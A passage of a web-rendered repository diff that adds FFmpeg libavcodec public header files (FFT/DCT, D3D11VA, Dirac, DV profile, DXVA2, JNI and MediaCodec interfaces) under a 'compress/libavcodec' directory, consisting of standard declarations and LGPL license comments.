void av_mdct_end(FFTContext *s);
|
||||
|
||||
/* Real Discrete Fourier Transform */
|
||||
|
||||
enum RDFTransformType {
|
||||
DFT_R2C,
|
||||
IDFT_C2R,
|
||||
IDFT_R2C,
|
||||
DFT_C2R,
|
||||
};
|
||||
|
||||
typedef struct RDFTContext RDFTContext;
|
||||
|
||||
/**
|
||||
* Set up a real FFT.
|
||||
* @param nbits log2 of the length of the input array
|
||||
* @param trans the type of transform
|
||||
*/
|
||||
RDFTContext *av_rdft_init(int nbits, enum RDFTransformType trans);
|
||||
void av_rdft_calc(RDFTContext *s, FFTSample *data);
|
||||
void av_rdft_end(RDFTContext *s);
|
||||
|
||||
/* Discrete Cosine Transform */
|
||||
|
||||
typedef struct DCTContext DCTContext;
|
||||
|
||||
enum DCTTransformType {
|
||||
DCT_II = 0,
|
||||
DCT_III,
|
||||
DCT_I,
|
||||
DST_I,
|
||||
};
|
||||
|
||||
/**
|
||||
* Set up DCT.
|
||||
*
|
||||
* @param nbits size of the input array:
|
||||
* (1 << nbits) for DCT-II, DCT-III and DST-I
|
||||
* (1 << nbits) + 1 for DCT-I
|
||||
* @param type the type of transform
|
||||
*
|
||||
* @note the first element of the input of DST-I is ignored
|
||||
*/
|
||||
DCTContext *av_dct_init(int nbits, enum DCTTransformType type);
|
||||
void av_dct_calc(DCTContext *s, FFTSample *data);
|
||||
void av_dct_end (DCTContext *s);
|
||||
|
||||
/**
|
||||
* @}
|
||||
*/
|
||||
|
||||
#endif /* AVCODEC_AVFFT_H */
|
||||
112
compress/libavcodec/d3d11va.h
Normal file
112
compress/libavcodec/d3d11va.h
Normal file
@@ -0,0 +1,112 @@
|
||||
/*
|
||||
* Direct3D11 HW acceleration
|
||||
*
|
||||
* copyright (c) 2009 Laurent Aimar
|
||||
* copyright (c) 2015 Steve Lhomme
|
||||
*
|
||||
* This file is part of FFmpeg.
|
||||
*
|
||||
* FFmpeg is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* FFmpeg is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with FFmpeg; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#ifndef AVCODEC_D3D11VA_H
|
||||
#define AVCODEC_D3D11VA_H
|
||||
|
||||
/**
|
||||
* @file
|
||||
* @ingroup lavc_codec_hwaccel_d3d11va
|
||||
* Public libavcodec D3D11VA header.
|
||||
*/
|
||||
|
||||
#if !defined(_WIN32_WINNT) || _WIN32_WINNT < 0x0602
|
||||
#undef _WIN32_WINNT
|
||||
#define _WIN32_WINNT 0x0602
|
||||
#endif
|
||||
|
||||
#include <stdint.h>
|
||||
#include <d3d11.h>
|
||||
|
||||
/**
|
||||
* @defgroup lavc_codec_hwaccel_d3d11va Direct3D11
|
||||
* @ingroup lavc_codec_hwaccel
|
||||
*
|
||||
* @{
|
||||
*/
|
||||
|
||||
#define FF_DXVA2_WORKAROUND_SCALING_LIST_ZIGZAG 1 ///< Work around for Direct3D11 and old UVD/UVD+ ATI video cards
|
||||
#define FF_DXVA2_WORKAROUND_INTEL_CLEARVIDEO 2 ///< Work around for Direct3D11 and old Intel GPUs with ClearVideo interface
|
||||
|
||||
/**
|
||||
* This structure is used to provides the necessary configurations and data
|
||||
* to the Direct3D11 FFmpeg HWAccel implementation.
|
||||
*
|
||||
* The application must make it available as AVCodecContext.hwaccel_context.
|
||||
*
|
||||
* Use av_d3d11va_alloc_context() exclusively to allocate an AVD3D11VAContext.
|
||||
*/
|
||||
typedef struct AVD3D11VAContext {
|
||||
/**
|
||||
* D3D11 decoder object
|
||||
*/
|
||||
ID3D11VideoDecoder *decoder;
|
||||
|
||||
/**
|
||||
* D3D11 VideoContext
|
||||
*/
|
||||
ID3D11VideoContext *video_context;
|
||||
|
||||
/**
|
||||
* D3D11 configuration used to create the decoder
|
||||
*/
|
||||
D3D11_VIDEO_DECODER_CONFIG *cfg;
|
||||
|
||||
/**
|
||||
* The number of surface in the surface array
|
||||
*/
|
||||
unsigned surface_count;
|
||||
|
||||
/**
|
||||
* The array of Direct3D surfaces used to create the decoder
|
||||
*/
|
||||
ID3D11VideoDecoderOutputView **surface;
|
||||
|
||||
/**
|
||||
* A bit field configuring the workarounds needed for using the decoder
|
||||
*/
|
||||
uint64_t workaround;
|
||||
|
||||
/**
|
||||
* Private to the FFmpeg AVHWAccel implementation
|
||||
*/
|
||||
unsigned report_id;
|
||||
|
||||
/**
|
||||
* Mutex to access video_context
|
||||
*/
|
||||
HANDLE context_mutex;
|
||||
} AVD3D11VAContext;
|
||||
|
||||
/**
|
||||
* Allocate an AVD3D11VAContext.
|
||||
*
|
||||
* @return Newly-allocated AVD3D11VAContext or NULL on failure.
|
||||
*/
|
||||
AVD3D11VAContext *av_d3d11va_alloc_context(void);
|
||||
|
||||
/**
|
||||
* @}
|
||||
*/
|
||||
|
||||
#endif /* AVCODEC_D3D11VA_H */
|
||||
131
compress/libavcodec/dirac.h
Normal file
131
compress/libavcodec/dirac.h
Normal file
@@ -0,0 +1,131 @@
|
||||
/*
|
||||
* Copyright (C) 2007 Marco Gerards <marco@gnu.org>
|
||||
* Copyright (C) 2009 David Conrad
|
||||
* Copyright (C) 2011 Jordi Ortiz
|
||||
*
|
||||
* This file is part of FFmpeg.
|
||||
*
|
||||
* FFmpeg is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* FFmpeg is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with FFmpeg; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#ifndef AVCODEC_DIRAC_H
|
||||
#define AVCODEC_DIRAC_H
|
||||
|
||||
/**
|
||||
* @file
|
||||
* Interface to Dirac Decoder/Encoder
|
||||
* @author Marco Gerards <marco@gnu.org>
|
||||
* @author David Conrad
|
||||
* @author Jordi Ortiz
|
||||
*/
|
||||
|
||||
#include "avcodec.h"
|
||||
|
||||
/**
|
||||
* The spec limits the number of wavelet decompositions to 4 for both
|
||||
* level 1 (VC-2) and 128 (long-gop default).
|
||||
* 5 decompositions is the maximum before >16-bit buffers are needed.
|
||||
* Schroedinger allows this for DD 9,7 and 13,7 wavelets only, limiting
|
||||
* the others to 4 decompositions (or 3 for the fidelity filter).
|
||||
*
|
||||
* We use this instead of MAX_DECOMPOSITIONS to save some memory.
|
||||
*/
|
||||
#define MAX_DWT_LEVELS 5
|
||||
|
||||
/**
|
||||
* Parse code values:
|
||||
*
|
||||
* Dirac Specification ->
|
||||
* 9.6.1 Table 9.1
|
||||
*
|
||||
* VC-2 Specification ->
|
||||
* 10.4.1 Table 10.1
|
||||
*/
|
||||
|
||||
enum DiracParseCodes {
|
||||
DIRAC_PCODE_SEQ_HEADER = 0x00,
|
||||
DIRAC_PCODE_END_SEQ = 0x10,
|
||||
DIRAC_PCODE_AUX = 0x20,
|
||||
DIRAC_PCODE_PAD = 0x30,
|
||||
DIRAC_PCODE_PICTURE_CODED = 0x08,
|
||||
DIRAC_PCODE_PICTURE_RAW = 0x48,
|
||||
DIRAC_PCODE_PICTURE_LOW_DEL = 0xC8,
|
||||
DIRAC_PCODE_PICTURE_HQ = 0xE8,
|
||||
DIRAC_PCODE_INTER_NOREF_CO1 = 0x0A,
|
||||
DIRAC_PCODE_INTER_NOREF_CO2 = 0x09,
|
||||
DIRAC_PCODE_INTER_REF_CO1 = 0x0D,
|
||||
DIRAC_PCODE_INTER_REF_CO2 = 0x0E,
|
||||
DIRAC_PCODE_INTRA_REF_CO = 0x0C,
|
||||
DIRAC_PCODE_INTRA_REF_RAW = 0x4C,
|
||||
DIRAC_PCODE_INTRA_REF_PICT = 0xCC,
|
||||
DIRAC_PCODE_MAGIC = 0x42424344,
|
||||
};
|
||||
|
||||
typedef struct DiracVersionInfo {
|
||||
int major;
|
||||
int minor;
|
||||
} DiracVersionInfo;
|
||||
|
||||
typedef struct AVDiracSeqHeader {
|
||||
unsigned width;
|
||||
unsigned height;
|
||||
uint8_t chroma_format; ///< 0: 444 1: 422 2: 420
|
||||
|
||||
uint8_t interlaced;
|
||||
uint8_t top_field_first;
|
||||
|
||||
uint8_t frame_rate_index; ///< index into dirac_frame_rate[]
|
||||
uint8_t aspect_ratio_index; ///< index into dirac_aspect_ratio[]
|
||||
|
||||
uint16_t clean_width;
|
||||
uint16_t clean_height;
|
||||
uint16_t clean_left_offset;
|
||||
uint16_t clean_right_offset;
|
||||
|
||||
uint8_t pixel_range_index; ///< index into dirac_pixel_range_presets[]
|
||||
uint8_t color_spec_index; ///< index into dirac_color_spec_presets[]
|
||||
|
||||
int profile;
|
||||
int level;
|
||||
|
||||
AVRational framerate;
|
||||
AVRational sample_aspect_ratio;
|
||||
|
||||
enum AVPixelFormat pix_fmt;
|
||||
enum AVColorRange color_range;
|
||||
enum AVColorPrimaries color_primaries;
|
||||
enum AVColorTransferCharacteristic color_trc;
|
||||
enum AVColorSpace colorspace;
|
||||
|
||||
DiracVersionInfo version;
|
||||
int bit_depth;
|
||||
} AVDiracSeqHeader;
|
||||
|
||||
/**
|
||||
* Parse a Dirac sequence header.
|
||||
*
|
||||
* @param dsh this function will allocate and fill an AVDiracSeqHeader struct
|
||||
* and write it into this pointer. The caller must free it with
|
||||
* av_free().
|
||||
* @param buf the data buffer
|
||||
* @param buf_size the size of the data buffer in bytes
|
||||
* @param log_ctx if non-NULL, this function will log errors here
|
||||
* @return 0 on success, a negative AVERROR code on failure
|
||||
*/
|
||||
int av_dirac_parse_sequence_header(AVDiracSeqHeader **dsh,
|
||||
const uint8_t *buf, size_t buf_size,
|
||||
void *log_ctx);
|
||||
|
||||
#endif /* AVCODEC_DIRAC_H */
|
||||
83
compress/libavcodec/dv_profile.h
Normal file
83
compress/libavcodec/dv_profile.h
Normal file
@@ -0,0 +1,83 @@
|
||||
/*
|
||||
* This file is part of FFmpeg.
|
||||
*
|
||||
* FFmpeg is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* FFmpeg is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with FFmpeg; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#ifndef AVCODEC_DV_PROFILE_H
|
||||
#define AVCODEC_DV_PROFILE_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#include "libavutil/pixfmt.h"
|
||||
#include "libavutil/rational.h"
|
||||
#include "avcodec.h"
|
||||
|
||||
/* minimum number of bytes to read from a DV stream in order to
|
||||
* determine the profile */
|
||||
#define DV_PROFILE_BYTES (6 * 80) /* 6 DIF blocks */
|
||||
|
||||
|
||||
/*
|
||||
* AVDVProfile is used to express the differences between various
|
||||
* DV flavors. For now it's primarily used for differentiating
|
||||
* 525/60 and 625/50, but the plans are to use it for various
|
||||
* DV specs as well (e.g. SMPTE314M vs. IEC 61834).
|
||||
*/
|
||||
typedef struct AVDVProfile {
|
||||
int dsf; /* value of the dsf in the DV header */
|
||||
int video_stype; /* stype for VAUX source pack */
|
||||
int frame_size; /* total size of one frame in bytes */
|
||||
int difseg_size; /* number of DIF segments per DIF channel */
|
||||
int n_difchan; /* number of DIF channels per frame */
|
||||
AVRational time_base; /* 1/framerate */
|
||||
int ltc_divisor; /* FPS from the LTS standpoint */
|
||||
int height; /* picture height in pixels */
|
||||
int width; /* picture width in pixels */
|
||||
AVRational sar[2]; /* sample aspect ratios for 4:3 and 16:9 */
|
||||
enum AVPixelFormat pix_fmt; /* picture pixel format */
|
||||
int bpm; /* blocks per macroblock */
|
||||
const uint8_t *block_sizes; /* AC block sizes, in bits */
|
||||
int audio_stride; /* size of audio_shuffle table */
|
||||
int audio_min_samples[3]; /* min amount of audio samples */
|
||||
/* for 48kHz, 44.1kHz and 32kHz */
|
||||
int audio_samples_dist[5]; /* how many samples are supposed to be */
|
||||
/* in each frame in a 5 frames window */
|
||||
const uint8_t (*audio_shuffle)[9]; /* PCM shuffling table */
|
||||
} AVDVProfile;
|
||||
|
||||
/**
|
||||
* Get a DV profile for the provided compressed frame.
|
||||
*
|
||||
* @param sys the profile used for the previous frame, may be NULL
|
||||
* @param frame the compressed data buffer
|
||||
* @param buf_size size of the buffer in bytes
|
||||
* @return the DV profile for the supplied data or NULL on failure
|
||||
*/
|
||||
const AVDVProfile *av_dv_frame_profile(const AVDVProfile *sys,
|
||||
const uint8_t *frame, unsigned buf_size);
|
||||
|
||||
/**
|
||||
* Get a DV profile for the provided stream parameters.
|
||||
*/
|
||||
const AVDVProfile *av_dv_codec_profile(int width, int height, enum AVPixelFormat pix_fmt);
|
||||
|
||||
/**
|
||||
* Get a DV profile for the provided stream parameters.
|
||||
* The frame rate is used as a best-effort parameter.
|
||||
*/
|
||||
const AVDVProfile *av_dv_codec_profile2(int width, int height, enum AVPixelFormat pix_fmt, AVRational frame_rate);
|
||||
|
||||
#endif /* AVCODEC_DV_PROFILE_H */
|
||||
93
compress/libavcodec/dxva2.h
Normal file
93
compress/libavcodec/dxva2.h
Normal file
@@ -0,0 +1,93 @@
|
||||
/*
|
||||
* DXVA2 HW acceleration
|
||||
*
|
||||
* copyright (c) 2009 Laurent Aimar
|
||||
*
|
||||
* This file is part of FFmpeg.
|
||||
*
|
||||
* FFmpeg is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* FFmpeg is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with FFmpeg; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#ifndef AVCODEC_DXVA2_H
|
||||
#define AVCODEC_DXVA2_H
|
||||
|
||||
/**
|
||||
* @file
|
||||
* @ingroup lavc_codec_hwaccel_dxva2
|
||||
* Public libavcodec DXVA2 header.
|
||||
*/
|
||||
|
||||
#if !defined(_WIN32_WINNT) || _WIN32_WINNT < 0x0602
|
||||
#undef _WIN32_WINNT
|
||||
#define _WIN32_WINNT 0x0602
|
||||
#endif
|
||||
|
||||
#include <stdint.h>
|
||||
#include <d3d9.h>
|
||||
#include <dxva2api.h>
|
||||
|
||||
/**
|
||||
* @defgroup lavc_codec_hwaccel_dxva2 DXVA2
|
||||
* @ingroup lavc_codec_hwaccel
|
||||
*
|
||||
* @{
|
||||
*/
|
||||
|
||||
#define FF_DXVA2_WORKAROUND_SCALING_LIST_ZIGZAG 1 ///< Work around for DXVA2 and old UVD/UVD+ ATI video cards
|
||||
#define FF_DXVA2_WORKAROUND_INTEL_CLEARVIDEO 2 ///< Work around for DXVA2 and old Intel GPUs with ClearVideo interface
|
||||
|
||||
/**
|
||||
* This structure is used to provides the necessary configurations and data
|
||||
* to the DXVA2 FFmpeg HWAccel implementation.
|
||||
*
|
||||
* The application must make it available as AVCodecContext.hwaccel_context.
|
||||
*/
|
||||
struct dxva_context {
|
||||
/**
|
||||
* DXVA2 decoder object
|
||||
*/
|
||||
IDirectXVideoDecoder *decoder;
|
||||
|
||||
/**
|
||||
* DXVA2 configuration used to create the decoder
|
||||
*/
|
||||
const DXVA2_ConfigPictureDecode *cfg;
|
||||
|
||||
/**
|
||||
* The number of surface in the surface array
|
||||
*/
|
||||
unsigned surface_count;
|
||||
|
||||
/**
|
||||
* The array of Direct3D surfaces used to create the decoder
|
||||
*/
|
||||
LPDIRECT3DSURFACE9 *surface;
|
||||
|
||||
/**
|
||||
* A bit field configuring the workarounds needed for using the decoder
|
||||
*/
|
||||
uint64_t workaround;
|
||||
|
||||
/**
|
||||
* Private to the FFmpeg AVHWAccel implementation
|
||||
*/
|
||||
unsigned report_id;
|
||||
};
|
||||
|
||||
/**
|
||||
* @}
|
||||
*/
|
||||
|
||||
#endif /* AVCODEC_DXVA2_H */
|
||||
46
compress/libavcodec/jni.h
Normal file
46
compress/libavcodec/jni.h
Normal file
@@ -0,0 +1,46 @@
|
||||
/*
|
||||
* JNI public API functions
|
||||
*
|
||||
* Copyright (c) 2015-2016 Matthieu Bouron <matthieu.bouron stupeflix.com>
|
||||
*
|
||||
* This file is part of FFmpeg.
|
||||
*
|
||||
* FFmpeg is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* FFmpeg is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with FFmpeg; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#ifndef AVCODEC_JNI_H
|
||||
#define AVCODEC_JNI_H
|
||||
|
||||
/*
|
||||
* Manually set a Java virtual machine which will be used to retrieve the JNI
|
||||
* environment. Once a Java VM is set it cannot be changed afterwards, meaning
|
||||
* you can call multiple times av_jni_set_java_vm with the same Java VM pointer
|
||||
* however it will error out if you try to set a different Java VM.
|
||||
*
|
||||
* @param vm Java virtual machine
|
||||
* @param log_ctx context used for logging, can be NULL
|
||||
* @return 0 on success, < 0 otherwise
|
||||
*/
|
||||
int av_jni_set_java_vm(void *vm, void *log_ctx);
|
||||
|
||||
/*
|
||||
* Get the Java virtual machine which has been set with av_jni_set_java_vm.
|
||||
*
|
||||
* @param vm Java virtual machine
|
||||
* @return a pointer to the Java virtual machine
|
||||
*/
|
||||
void *av_jni_get_java_vm(void *log_ctx);
|
||||
|
||||
#endif /* AVCODEC_JNI_H */
|
||||
88
compress/libavcodec/mediacodec.h
Normal file
88
compress/libavcodec/mediacodec.h
Normal file
@@ -0,0 +1,88 @@
|
||||
/*
|
||||
* Android MediaCodec public API
|
||||
*
|
||||
* Copyright (c) 2016 Matthieu Bouron <matthieu.bouron stupeflix.com>
|
||||
*
|
||||
* This file is part of FFmpeg.
|
||||
*
|
||||
* FFmpeg is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* FFmpeg is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with FFmpeg; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#ifndef AVCODEC_MEDIACODEC_H
|
||||
#define AVCODEC_MEDIACODEC_H
|
||||
|
||||
#include "libavcodec/avcodec.h"
|
||||
|
||||
/**
|
||||
* This structure holds a reference to a android/view/Surface object that will
|
||||
* be used as output by the decoder.
|
||||
*
|
||||
*/
|
||||
typedef struct AVMediaCodecContext {
|
||||
|
||||
/**
|
||||
* android/view/Surface object reference.
|
||||
*/
|
||||
void *surface;
|
||||
|
||||
} AVMediaCodecContext;
|
||||
|
||||
/**
|
||||
* Allocate and initialize a MediaCodec context.
|
||||
*
|
||||
* When decoding with MediaCodec is finished, the caller must free the
|
||||
* MediaCodec context with av_mediacodec_default_free.
|
||||
*
|
||||
* @return a pointer to a newly allocated AVMediaCodecContext on success, NULL otherwise
|
||||
*/
|
||||
AVMediaCodecContext *av_mediacodec_alloc_context(void);
|
||||
|
||||
/**
|
||||
* Convenience function that sets up the MediaCodec context.
|
||||
*
|
||||
* @param avctx codec context
|
||||
* @param ctx MediaCodec context to initialize
|
||||
* @param surface reference to an android/view/Surface
|
||||
* @return 0 on success, < 0 otherwise
|
||||
*/
|
||||
int av_mediacodec_default_init(AVCodecContext *avctx, AVMediaCodecContext *ctx, void *surface);
|
||||
|
||||
/**
|
||||
* This function must be called to free the MediaCodec context initialized with
|
||||
* av_mediacodec_default_init().
|
||||
*
|
||||
* @param avctx codec context
|
||||
*/
|
||||
void av_mediacodec_default_free(AVCodecContext *avctx);
|
||||
|
||||
/**
|
||||
* Opaque structure representing a MediaCodec buffer to render.
|
||||
*/
|
||||
typedef struct MediaCodecBuffer AVMediaCodecBuffer;
|
||||
|
||||
/**
|
||||
* Release a MediaCodec buffer and render it to the surface that is associated
|
||||
* with the decoder. This function should only be called once on a given
|
||||
* buffer, once released the underlying buffer returns to the codec, thus
|
||||
* subsequent calls to this function will have no effect.
|
||||
*
|
||||
* @param buffer the buffer to render
|
||||
* @param render 1 to release and render the buffer to the surface or 0 to
|
||||
* discard the buffer
|
||||
* @return 0 on success, < 0 otherwise
|
||||
*/
|
||||
int av_mediacodec_release_buffer(AVMediaCodecBuffer *buffer, int render);
|
||||
|
||||
#endif /* AVCODEC_MEDIACODEC_H */
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user